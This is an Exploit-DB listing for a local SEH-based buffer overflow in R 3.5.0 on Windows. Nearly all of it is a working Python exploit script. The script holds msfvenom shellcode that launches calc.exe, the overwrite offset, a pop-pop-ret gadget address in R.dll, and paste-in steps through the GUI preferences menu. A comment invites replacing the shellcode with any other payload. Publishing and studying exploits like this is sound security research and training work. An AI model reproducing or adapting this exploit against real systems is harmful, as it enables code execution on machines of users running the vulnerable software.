R 3.5.0 - Local Buffer Overflow (SEH)

EDB-ID:
46288

CVE:
N/A

EDB Verified: ×

Author:
DINO COVOTSOS

Type:
LOCAL

Exploit: / {}

Platform:
WINDOWS

Date:
2019-01-31

Vulnerable App:

```
#!/usr/bin/python
# Exploit Title: R i386 3.5.0 - Local Buffer Overflow (SEH)
# Date: 30/01/2019
# Exploit Author: Dino Covotsos - Telspace Systems
# Vendor Homepage: https://www.r-project.org/
# Version: 3.5.0
# Software Link: https://cran.r-project.org/bin/windows/base/old/3.5.0/R-3.5.0-win.exe
# Contact: services[@]telspace.co.za
# Twitter: @telspacesystems (Greets to the Telspace Crew)
# Version: 3.5.0
# Tested on: Windows XP Prof SP3 ENG x86
# Note: SEH exploitation method (SEH + DEP Bypass exploit for Windows 7 x86 by Bzyo available on exploit-db)
# CVE: TBC from Mitre
# Created in preparation for OSCE - DC - Telspace Systems
# PoC:
# 1.) Generate exploit.txt, copy the contents to clipboard
# 2.) In the application, open 'Edit' then 'Gui Preferences'
# 3.) Paste the contents of exploit.txt under 'Language for menus and messages'
# 4.) Click OK - Calc POPS (or change shellcode to whatever you require, take note of badchars!)

#PPR Information
#Message=  0x6cb99185 : pop ebx # pop esi # ret 0x08 |  {PAGE_EXECUTE_READ} [R.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.5.0

#msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -e x86/shikata_ga_nai -b "\x00\x0a\x0d\x1a\x7d" -f c
shellcode = ("\xd9\xc6\xb8\x06\x7f\x92\x78\xd9\x74\x24\xf4\x5b\x29\xc9\xb1"
"\x31\x83\xc3\x04\x31\x43\x14\x03\x43\x12\x9d\x67\x84\xf2\xe3"
"\x88\x75\x02\x84\x01\x90\x33\x84\x76\xd0\x63\x34\xfc\xb4\x8f"
"\xbf\x50\x2d\x04\xcd\x7c\x42\xad\x78\x5b\x6d\x2e\xd0\x9f\xec"
"\xac\x2b\xcc\xce\x8d\xe3\x01\x0e\xca\x1e\xeb\x42\x83\x55\x5e"
"\x73\xa0\x20\x63\xf8\xfa\xa5\xe3\x1d\x4a\xc7\xc2\xb3\xc1\x9e"
"\xc4\x32\x06\xab\x4c\x2d\x4b\x96\x07\xc6\xbf\x6c\x96\x0e\x8e"
"\x8d\x35\x6f\x3f\x7c\x47\xb7\x87\x9f\x32\xc1\xf4\x22\x45\x16"
"\x87\xf8\xc0\x8d\x2f\x8a\x73\x6a\xce\x5f\xe5\xf9\xdc\x14\x61"
"\xa5\xc0\xab\xa6\xdd\xfc\x20\x49\x32\x75\x72\x6e\x96\xde\x20"
"\x0f\x8f\xba\x87\x30\xcf\x65\x77\x95\x9b\x8b\x6c\xa4\xc1\xc1"
"\x73\x3a\x7c\xa7\x74\x44\x7f\x97\x1c\x75\xf4\x78\x5a\x8a\xdf"
"\x3d\x94\xc0\x42\x17\x3d\x8d\x16\x2a\x20\x2e\xcd\x68\x5d\xad"
"\xe4\x10\x9a\xad\x8c\x15\xe6\x69\x7c\x67\x77\x1c\x82\xd4\x78"
"\x35\xe1\xbb\xea\xd5\xc8\x5e\x8b\x7c\x15")

buffer = "A" * 884 + "\xEB\x09\x90\x90" + "\x85\x91\xb9\x6c" + "\x90" * 20 + shellcode + "D" * 8868

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
```

Tags: Local Buffer Overflow

Advisory/Source: Link